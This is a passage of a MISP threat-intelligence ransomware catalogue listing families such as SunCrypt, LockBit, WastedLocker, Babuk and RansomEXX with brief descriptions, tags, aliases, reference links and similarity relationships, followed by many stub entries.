SunCrypt ransomware was discovered in October 2019 and in August 2020 it was added to Maze ransomware's cartel. It also follows some of Maze's tactics, techniques, and procedures. SunCrypt is launched and installed using an obfuscated PowerShell script. Infected email attachments (macros), torrent websites, malicious ads act as carriers for this ransomware.

The tag is: *misp-galaxy:ransomware="SunCrypt"*

SunCrypt is also known as:

- Sun
- Suncrypt

Table 6453. Table References

Links
https://www.acronis.com/en-us/blog/posts/suncrypt-adopts-attacking-techniques-netwalker-and-maze-ransomware
https://www.bleepingcomputer.com/news/security/suncrypt-ransomware-sheds-light-on-the-maze-ransomware-cartel/
https://securityboulevard.com/2020/09/the-curious-case-of-suncrypt/

LockBit

LockBit operators tend to be very indiscriminate and opportunistic in their targeting. Actors behind this attack will use a variety of methods to gain initial access, up to and including basic methods such as brute force. After gaining initial access the actor follows a fairly typical escalation, lateral movement and ransomware execution playbook. LockBit operators tend to have a very brief dwell time, executing the final ransomware payload as quickly as they are able to. LockBit ransomware has the built-in lateral movement features; given adequate permissions throughout the targeted environment.

The tag is: *misp-galaxy:ransomware="LockBit"*

LockBit is also known as:

- ABCD ransomware

Table 6454. Table References

Links
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/tales-from-the-trenches-a-lockbit-ransomware-story/
https://usa.kaspersky.com/resource-center/threats/lockbit-ransomware

WastedLocker

WastedLocker primarily targets corporate networks. Upon initial compromise, often using a fake browser update containing SocGholish, the actor then takes advantage of dual-use and LoLBin tools in an attempt to evade detection. Key observations include lateral movement and privilege escalation. The WastedLocker ransomware has been tied back to EvilCorp.

The tag is: *misp-galaxy:ransomware="WastedLocker"*

Table 6455. Table References

Links
https://blogs.cisco.com/security/talos/wastedlocker-goes-big-game-hunting-in-2020
https://blog.malwarebytes.com/threat-spotlight/2020/07/threat-spotlight-wastedlocker-customized-ransomware/
https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/

Babuk Ranomsware

Since this is the first detection of this malware in the wild, it's not surprising that Babuk is not obsfuscated at all. Overall, it's a pretty standard ransomware that utilizes some of the new techniques we see such as multi-threading encryption as well as abusing the Windows Restart Manager similar to Conti and REvil. For encrypting scheme, Babuk uses its own implementation of SHA256 hashing, ChaCha8 encryption, and Elliptic-curve Diffie–Hellman (ECDH) key generation and exchange algorithm to protect its keys and encrypt files. Like many ransomware that came before, it also has the ability to spread its encryption through enumerating the available network resources.

The tag is: *misp-galaxy:ransomware="Babuk Ranomsware"*

Table 6456. Table References

Links
http://chuongdong.com//reverse%20engineering/2021/01/03/BabukRansomware/

Darkside

Darkside, the latest ransomware operation to emerge has been attacking organizations beginning earlier this month. Darkside's customized attacks on companies have already garnered them million-dollar payouts. Through their "press release", these threat actors have claimed to be affiliated with prior ransomware operations making millions of dollars. They stated that they created this new product to match their needs, as prior products didn't. Darkside explains that they only target companies they know that can pay the specified ransom. They have allegedly promised that they will not attack the following sectors. They include medicine, education, non-profit organizations, and the government sector.

The tag is: *misp-galaxy:ransomware="Darkside"*

Table 6457. Table References

Links
https://www.digitalshadows.com/blog-and-research/darkside-the-new-ransomware-group-behind-highly-targeted-attacks/
https://www.wired.com/story/ransomware-gone-corporate-darkside-where-will-it-end/

https://darksidedxcftmqa.onion.foundation/

RansomEXX

We recently discovered a new file-encrypting Trojan built as an ELF executable and intended to encrypt data on machines controlled by Linux-based operating systems. After the initial analysis we noticed similarities in the code of the Trojan, the text of the ransom notes and the general approach to extortion, which suggested that we had in fact encountered a Linux build of the previously known ransomware family RansomEXX. This malware is notorious for attacking large organizations and was most active earlier this year. RansomEXX is a highly targeted Trojan. Each sample of the malware contains a hardcoded name of the victim organization. Moreover, both the encrypted file extension and the email address for contacting the extortionists make use of the victim’s name.

The tag is: *misp-galaxy:ransomware="RansomEXX"*

RansomEXX is also known as:

- Ransom X
- Defray777
- Defray-777
- Defray 2018

Table 6458. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomexx
https://id-ransomware.blogspot.com/2020/06/ransomexx-ransomware.html
https://github.com/Bleeping/Ransom.exx
https://www.bleepingcomputer.com/news/security/new-ransom-x-ransomware-used-in-texas-txdot-cyberattack/
https://www.bleepingcomputer.com/news/security/brazils-court-system-under-massive-ransomexx-ransomware-attack/
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4/
https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/

CovidLock

Mobile ransomware. The Zscaler ThreatLabZ team recently came across a URL named hxxp://coronavirusapp[.]site/mobile.html, which portrays itself as a download site for an Android app that tracks the coronavirus spread across the globe. In reality, the app is Android ransomware, which locks out the victim and asks for ransom to unlock the device. The app portrays itself as a Coronavirus Tracker. As soon as it starts running, it asks the user for several authorizations, including admin rights. In fact, this ransomware does not encrypt nor steal anything and only lock the device with an hard coded code.

The tag is: *misp-galaxy:ransomware="CovidLock"*

Table 6459. Table References

Links
https://www.zscaler.com/blogs/security-research/covidlock-android-ransomware-walkthrough-and-unlocking-routine

Tycoon

This malware is written in Java and is named after references in the code. Tycoon has been in the wild since December 2019 and has targeted organizations in the education, SMBs, and software industries. Tycoon is a multi-platform Java ransomware that targets Windows and Linux systems. This ransomware denies access to the system administrator following an attack on the domain controller and file servers. The initial intrusion occurs through an internet-facing remote desktop protocol (RDP) jump-server.

The tag is: *misp-galaxy:ransomware="Tycoon"*

Table 6460. Table References

Links
https://cyberflorida.org/threat-advisory/tycoon-ransomware/
https://usf.app.box.com/s/83xh0t5w99klrsoisorir7kgs14o972s

Ragnar Locker

Ragnar Locker is a ransomware identified in December 2019 that targetscorporate networks inBig Game Huntingtargeted attacks. This reportpresents recent elements regarding this ransomware.

The tag is: *misp-galaxy:ransomware="Ragnar Locker"*

Ragnar Locker is also known as:

- RagnarLocker

View relationships graph

Ragnar Locker has relationships with:

- similar: misp-galaxy:mitre-malware="Ragnar Locker - S0481" with estimative-language:likelihood-probability="likely"

Table 6461. Table References

Links

https://www.bleepingcomputer.com/news/security/ragnar-locker-ransomware-targets-msp-enterprise-support-tools/
https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
https://www.cybersecurity-insiders.com/ransomware-attack-makes-cwt-pay-4-5-million-in-bitcoins-to-hackers/

Sekhmet

Ransom.Sekhmet not only encrypts a victims files, but also threatens to publish them.

The tag is: *misp-galaxy:ransomware="Sekhmet"*

View relationships graph

Sekhmet has relationships with:

- similar: misp-galaxy:ransomware="Egregor" with estimative-language:likelihood-probability="likely"

Table 6462. Table References

Links
https://www.bleepingcomputer.com/news/security/maze-ransomware-is-shutting-down-its-cybercrime-operation/
https://www.zdnet.com/article/as-maze-ransomware-group-retires-clients-turn-to-sekhmet-ransomware-spin-off-egregor/
https://blog.malwarebytes.com/detections/ransom-sekhmet/
https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/

$$$

Ransomware

The tag is: *misp-galaxy:ransomware="$$$"*

$ucyLocker

Ransomware

The tag is: *misp-galaxy:ransomware="$ucyLocker"*

10001

Ransomware

The tag is: *misp-galaxy:ransomware="10001"*

05250lock

Ransomware

The tag is: *misp-galaxy:ransomware="05250lock"*

0kilobypt

Ransomware

The tag is: *misp-galaxy:ransomware="0kilobypt"*

1337-Locker

Ransomware

The tag is: *misp-galaxy:ransomware="1337-Locker"*

24H

Ransomware

The tag is: *misp-galaxy:ransomware="24H"*

3nCRY

Ransomware

The tag is: *misp-galaxy:ransomware="3nCRY"*

4rw5w

Ransomware

The tag is: *misp-galaxy:ransomware="4rw5w"*

5ss5c(5ss5cCrypt)

Ransomware

The tag is: *misp-galaxy:ransomware="5ss5c(5ss5cCrypt)"*

777(Legion)

Ransomware

The tag is: *misp-galaxy:ransomware="777(Legion)"*

7h9r

Ransomware

The tag is: *misp-galaxy:ransomware="7h9r"*

7z Portuguese

Ransomware

The tag is: *misp-galaxy:ransomware="7z Portuguese"*

AAC

Ransomware

The tag is: *misp-galaxy:ransomware="AAC"*

ABCLocker

Ransomware

The tag is: *misp-galaxy:ransomware="ABCLocker"*

Adonis

Ransomware

The tag is: *misp-galaxy:ransomware="Adonis"*

AepCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="AepCrypt"*

AES-Matrix

Ransomware

The tag is: *misp-galaxy:ransomware="AES-Matrix"*

AES-NI: April Edition

Ransomware

The tag is: *misp-galaxy:ransomware="AES-NI: April Edition"*

Afrodita

Ransomware

The tag is: *misp-galaxy:ransomware="Afrodita"*

Alco

Ransomware

The tag is: *misp-galaxy:ransomware="Alco"*

AllCry

Ransomware

The tag is: *misp-galaxy:ransomware="AllCry"*

AlldataLocker

Ransomware

The tag is: *misp-galaxy:ransomware="AlldataLocker"*

Amnesia

Ransomware

The tag is: *misp-galaxy:ransomware="Amnesia"*

Amnesia-2

Ransomware

The tag is: *misp-galaxy:ransomware="Amnesia-2"*

Anatova

Ransomware

The tag is: *misp-galaxy:ransomware="Anatova"*

AnDROid

Ransomware

The tag is: *misp-galaxy:ransomware="AnDROid"*

AngryKite

Ransomware

The tag is: *misp-galaxy:ransomware="AngryKite"*

AnimusLocker

Ransomware

The tag is: *misp-galaxy:ransomware="AnimusLocker"*

Annabelle

Ransomware

The tag is: *misp-galaxy:ransomware="Annabelle"*

Annabelle 2.1

Ransomware

The tag is: *misp-galaxy:ransomware="Annabelle 2.1"*

AnonCrack

Ransomware

The tag is: *misp-galaxy:ransomware="AnonCrack"*

AnonPop

Ransomware

The tag is: *misp-galaxy:ransomware="AnonPop"*

AnteFrigus

Ransomware

The tag is: *misp-galaxy:ransomware="AnteFrigus"*

Anti-DDos

Ransomware

The tag is: *misp-galaxy:ransomware="Anti-DDos"*

Antihacker2017

Ransomware

The tag is: *misp-galaxy:ransomware="Antihacker2017"*

Anubi NotBTCWare

Ransomware

The tag is: *misp-galaxy:ransomware="Anubi NotBTCWare"*

Apocalypse-Missing

Ransomware

The tag is: *misp-galaxy:ransomware="Apocalypse-Missing"*

ApolloLocker

Ransomware

The tag is: *misp-galaxy:ransomware="ApolloLocker"*

Argus

Ransomware

The tag is: *misp-galaxy:ransomware="Argus"*

Armage

Ransomware

The tag is: *misp-galaxy:ransomware="Armage"*

Armageddon

Ransomware

The tag is: *misp-galaxy:ransomware="Armageddon"*

ArmaLocky

Ransomware

The tag is: *misp-galaxy:ransomware="ArmaLocky"*

Arsium

Ransomware

The tag is: *misp-galaxy:ransomware="Arsium"*

Assembly

Ransomware

The tag is: *misp-galaxy:ransomware="Assembly"*

Ataware

Ransomware

The tag is: *misp-galaxy:ransomware="Ataware"*

Atchbo

Ransomware

The tag is: *misp-galaxy:ransomware="Atchbo"*

ATLAS

Ransomware

The tag is: *misp-galaxy:ransomware="ATLAS"*

Australian-AES

Ransomware

The tag is: *misp-galaxy:ransomware="Australian-AES"*

AutoEncryptor

Ransomware

The tag is: *misp-galaxy:ransomware="AutoEncryptor"*

AutoWannaCryV2

Ransomware

The tag is: *misp-galaxy:ransomware="AutoWannaCryV2"*

Auuahk-Ouuohk

Ransomware

The tag is: *misp-galaxy:ransomware="Auuahk-Ouuohk"*

AVCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="AVCrypt"*

AxCrypter

Ransomware

The tag is: *misp-galaxy:ransomware="AxCrypter"*

aZaZeL

Ransomware

The tag is: *misp-galaxy:ransomware="aZaZeL"*

BadEncript

Ransomware

The tag is: *misp-galaxy:ransomware="BadEncript"*

Balbaz

Ransomware

The tag is: *misp-galaxy:ransomware="Balbaz"*

Baliluware

Ransomware

The tag is: *misp-galaxy:ransomware="Baliluware"*

Bam!

Ransomware

The tag is: *misp-galaxy:ransomware="Bam!"*

BananaCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="BananaCrypt"*

BancoCrypt HT

Ransomware

The tag is: *misp-galaxy:ransomware="BancoCrypt HT"*

Barack Obama’s EBBV

Ransomware

The tag is: *misp-galaxy:ransomware="Barack Obama’s EBBV"*

Basilisque Locker

Ransomware

The tag is: *misp-galaxy:ransomware="Basilisque Locker"*

BASS-FES

Ransomware

The tag is: *misp-galaxy:ransomware="BASS-FES"*

BB

Ransomware

The tag is: *misp-galaxy:ransomware="BB"*

BeethoveN

Ransomware

The tag is: *misp-galaxy:ransomware="BeethoveN"*

BestChangeRu

Ransomware

The tag is: *misp-galaxy:ransomware="BestChangeRu"*

BigBossHorse

Ransomware

The tag is: *misp-galaxy:ransomware="BigBossHorse"*

Birbware

Ransomware

The tag is: *misp-galaxy:ransomware="Birbware"*

BitCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="BitCrypt"*

BitCrypt 2.0

Ransomware

The tag is: *misp-galaxy:ransomware="BitCrypt 2.0"*

BitKangoroo

Ransomware

The tag is: *misp-galaxy:ransomware="BitKangoroo"*

BitPyLock

Ransomware

The tag is: *misp-galaxy:ransomware="BitPyLock"*

Bitshifter

Ransomware

The tag is: *misp-galaxy:ransomware="Bitshifter"*

BKRansomware

Ransomware

The tag is: *misp-galaxy:ransomware="BKRansomware"*

Black Feather

Ransomware

The tag is: *misp-galaxy:ransomware="Black Feather"*

BlackFireEye

Ransomware

The tag is: *misp-galaxy:ransomware="BlackFireEye"*

BlackHat-Mehtihack

Ransomware

The tag is: *misp-galaxy:ransomware="BlackHat-Mehtihack"*

BlackKingdom

Ransomware

The tag is: *misp-galaxy:ransomware="BlackKingdom"*

BlackMist

Ransomware

The tag is: *misp-galaxy:ransomware="BlackMist"*

Blackout

Ransomware

The tag is: *misp-galaxy:ransomware="Blackout"*

BlackPink

Ransomware

The tag is: *misp-galaxy:ransomware="BlackPink"*

BlackRose

Ransomware

The tag is: *misp-galaxy:ransomware="BlackRose"*

BlackSheep

Ransomware

The tag is: *misp-galaxy:ransomware="BlackSheep"*

Black Worm

Ransomware

The tag is: *misp-galaxy:ransomware="Black Worm"*

Blank

Ransomware

The tag is: *misp-galaxy:ransomware="Blank"*

Blind

Ransomware

The tag is: *misp-galaxy:ransomware="Blind"*

Blitzkrieg

Ransomware

The tag is: *misp-galaxy:ransomware="Blitzkrieg"*

BlockFile12

Ransomware

The tag is: *misp-galaxy:ransomware="BlockFile12"*

BloodJaws

Ransomware

The tag is: *misp-galaxy:ransomware="BloodJaws"*

Blooper

Ransomware

The tag is: *misp-galaxy:ransomware="Blooper"*

BlueCheeser

Ransomware

The tag is: *misp-galaxy:ransomware="BlueCheeser"*

Bluerose

Ransomware

The tag is: *misp-galaxy:ransomware="Bluerose"*

BOK

Ransomware

The tag is: *misp-galaxy:ransomware="BOK"*

BoooamCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="BoooamCrypt"*

BooM

Ransomware

The tag is: *misp-galaxy:ransomware="BooM"*

Boris HT

Ransomware

The tag is: *misp-galaxy:ransomware="Boris HT"*

BrainLag

Ransomware

The tag is: *misp-galaxy:ransomware="BrainLag"*

BRansomware

Ransomware

The tag is: *misp-galaxy:ransomware="BRansomware"*

Brick

Ransomware

The tag is: *misp-galaxy:ransomware="Brick"*

BrickR

Ransomware

The tag is: *misp-galaxy:ransomware="BrickR"*

BtcKING

Ransomware

The tag is: *misp-galaxy:ransomware="BtcKING"*

BTCWare-Aleta

Ransomware

The tag is: *misp-galaxy:ransomware="BTCWare-Aleta"*

BTCWare-Gryphon

Ransomware

The tag is: *misp-galaxy:ransomware="BTCWare-Gryphon"*

BTCWare-Master

Ransomware

The tag is: *misp-galaxy:ransomware="BTCWare-Master"*

BTCWare-Nuclear

Ransomware

The tag is: *misp-galaxy:ransomware="BTCWare-Nuclear"*

BTCWare-Onyon

Ransomware

The tag is: *misp-galaxy:ransomware="BTCWare-Onyon"*

BTCWare-PayDay

Ransomware

The tag is: *misp-galaxy:ransomware="BTCWare-PayDay"*

BTCWare-Wyvern

Ransomware

The tag is: *misp-galaxy:ransomware="BTCWare-Wyvern"*

Bud

Ransomware

The tag is: *misp-galaxy:ransomware="Bud"*

BugWare

Ransomware

The tag is: *misp-galaxy:ransomware="BugWare"*

BulbaCrypt HT

Ransomware

The tag is: *misp-galaxy:ransomware="BulbaCrypt HT"*

BWall

Ransomware

The tag is: *misp-galaxy:ransomware="BWall"*

C0hen Locker

Ransomware

The tag is: *misp-galaxy:ransomware="C0hen Locker"*

CA$HOUT

Ransomware

The tag is: *misp-galaxy:ransomware="CA$HOUT"*

CainXPii

Ransomware

The tag is: *misp-galaxy:ransomware="CainXPii"*

Cephalo

Ransomware

The tag is: *misp-galaxy:ransomware="Cephalo"*

Cerberos

Ransomware

The tag is: *misp-galaxy:ransomware="Cerberos"*

Charmant

Ransomware

The tag is: *misp-galaxy:ransomware="Charmant"*

Chekyshka

Ransomware

The tag is: *misp-galaxy:ransomware="Chekyshka"*

ChernoLocker

Ransomware

The tag is: *misp-galaxy:ransomware="ChernoLocker"*

ChinaYunLong

Ransomware

The tag is: *misp-galaxy:ransomware="ChinaYunLong"*

Christmas

Ransomware

The tag is: *misp-galaxy:ransomware="Christmas"*

ClicoCrypter

Ransomware

The tag is: *misp-galaxy:ransomware="ClicoCrypter"*

ClicoCrypter-2

Ransomware

The tag is: *misp-galaxy:ransomware="ClicoCrypter-2"*

Clouded

Ransomware

The tag is: *misp-galaxy:ransomware="Clouded"*

Cmd

Ransomware

The tag is: *misp-galaxy:ransomware="Cmd"*

Codemanager

Ransomware

The tag is: *misp-galaxy:ransomware="Codemanager"*

Coin Locker

Ransomware

The tag is: *misp-galaxy:ransomware="Coin Locker"*

Comrade HT

Ransomware

The tag is: *misp-galaxy:ransomware="Comrade HT"*

CoNFicker

Ransomware

The tag is: *misp-galaxy:ransomware="CoNFicker"*

Coom

Ransomware

The tag is: *misp-galaxy:ransomware="Coom"*

CorruptCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="CorruptCrypt"*

Creeper

Ransomware

The tag is: *misp-galaxy:ransomware="Creeper"*

Creepy

Ransomware

The tag is: *misp-galaxy:ransomware="Creepy"*

Cripton

Ransomware

The tag is: *misp-galaxy:ransomware="Cripton"*

Cripton7zp

Ransomware

The tag is: *misp-galaxy:ransomware="Cripton7zp"*

Cry36

Ransomware

The tag is: *misp-galaxy:ransomware="Cry36"*

Cry9

Ransomware

The tag is: *misp-galaxy:ransomware="Cry9"*

CryCipher

Ransomware

The tag is: *misp-galaxy:ransomware="CryCipher"*

CryCipher is also known as:

- PayPalGenerator2019

CryForMe

Ransomware

The tag is: *misp-galaxy:ransomware="CryForMe"*

Crying

Ransomware

The tag is: *misp-galaxy:ransomware="Crying"*

CryMore

Ransomware

The tag is: *misp-galaxy:ransomware="CryMore"*

Cryp70n1c

Ransomware

The tag is: *misp-galaxy:ransomware="Cryp70n1c"*

Crypt0 HT

Ransomware

The tag is: *misp-galaxy:ransomware="Crypt0 HT"*

Crypt0

Ransomware

The tag is: *misp-galaxy:ransomware="Crypt0"*

Crypt0L0cker

Ransomware

The tag is: *misp-galaxy:ransomware="Crypt0L0cker"*

Crypt0r

Ransomware

The tag is: *misp-galaxy:ransomware="Crypt0r"*

Crypt12

Ransomware

The tag is: *misp-galaxy:ransomware="Crypt12"*

CryptFuck

Ransomware

The tag is: *misp-galaxy:ransomware="CryptFuck"*

CryptGh0st

Ransomware

The tag is: *misp-galaxy:ransomware="CryptGh0st"*

Crypto_Lab

Ransomware

The tag is: *misp-galaxy:ransomware="Crypto_Lab"*

CryptoApp

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoApp"*

Crypto-Blocker

Ransomware

The tag is: *misp-galaxy:ransomware="Crypto-Blocker"*

CryptoBoss

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoBoss"*

CryptoCat

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoCat"*

CryptoClone

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoClone"*

CryptoDark

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoDark"*

CryptoGod 2017

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoGod 2017"*

CryptoGod 2018

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoGod 2018"*

CryptoLite

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoLite"*

CryptolockerEmulator

Ransomware

The tag is: *misp-galaxy:ransomware="CryptolockerEmulator"*

CryptoLockerEU 2016

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoLockerEU 2016"*

CryptoManiac

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoManiac"*

CryptoMix-0000

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-0000"*

View relationships graph

CryptoMix-0000 has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Arena

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Arena"*

View relationships graph

CryptoMix-Arena has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Azer

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Azer"*

View relationships graph

CryptoMix-Azer has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Backup

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Backup"*

View relationships graph

CryptoMix-Backup has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
